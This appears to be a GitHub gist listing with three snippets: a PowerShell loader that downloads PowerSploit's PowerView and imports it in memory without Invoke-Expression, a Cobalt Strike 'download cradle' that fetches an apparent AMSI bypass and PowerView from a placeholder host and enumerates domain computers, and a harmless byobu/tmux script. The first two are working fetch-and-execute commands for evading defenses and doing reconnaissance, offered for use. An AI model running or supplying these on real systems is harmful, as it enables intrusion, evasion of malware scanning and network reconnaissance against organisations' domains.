Skip to content

Instantly share code, notes, and snippets.

@natesubra
natesubra / import-pv.ps1
Created January 19, 2024 20:22
Import PS1 without using IEX
$URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1"
$content = Invoke-RestMethod $URL
$scriptblock = [scriptblock]::Create("$content")
New-Module -ScriptBlock $scriptblock | Import-Module
@natesubra
natesubra / gist:44a9933969c179d350fa20010fc61f68
Created January 19, 2024 20:54
Cobalt Strike - Download cradle alternative
run powershell $am = Invoke-RestMethod \"https://www.example.com/effamsi\"; . ($am); $content = Invoke-RestMethod \"https://www.example.com/pv\"; $scriptblock = [scriptblock]::Create(\"$content\"); $mod = New-Module -ScriptBlock $scriptblock; Import-Module $mod; Get-DomainComputer
@natesubra
natesubra / mybyobu.sh
Last active January 23, 2024 17:59
Byobu Scripting
#!/usr/bin/env bash
_SESSION_NAME="dev" # arbitrary name for our session, must be unique
# Man pages: https://manpages.ubuntu.com/cgi-bin/search.py?q=byobu
# Good read: https://help.ubuntu.com/community/Byobu
# Understand all of the parameters for sub commands: https://fig.io/manual/tmux
# TL;DR: Byobu is an opinionated wrapper/config around tmux (default), or screen, two popular terminal multiplexers
# Everything that is applicable to tmux is generally applicable to byobu,
# just remember the byobu prefix is ctrl-a, tmux default is ctrl-b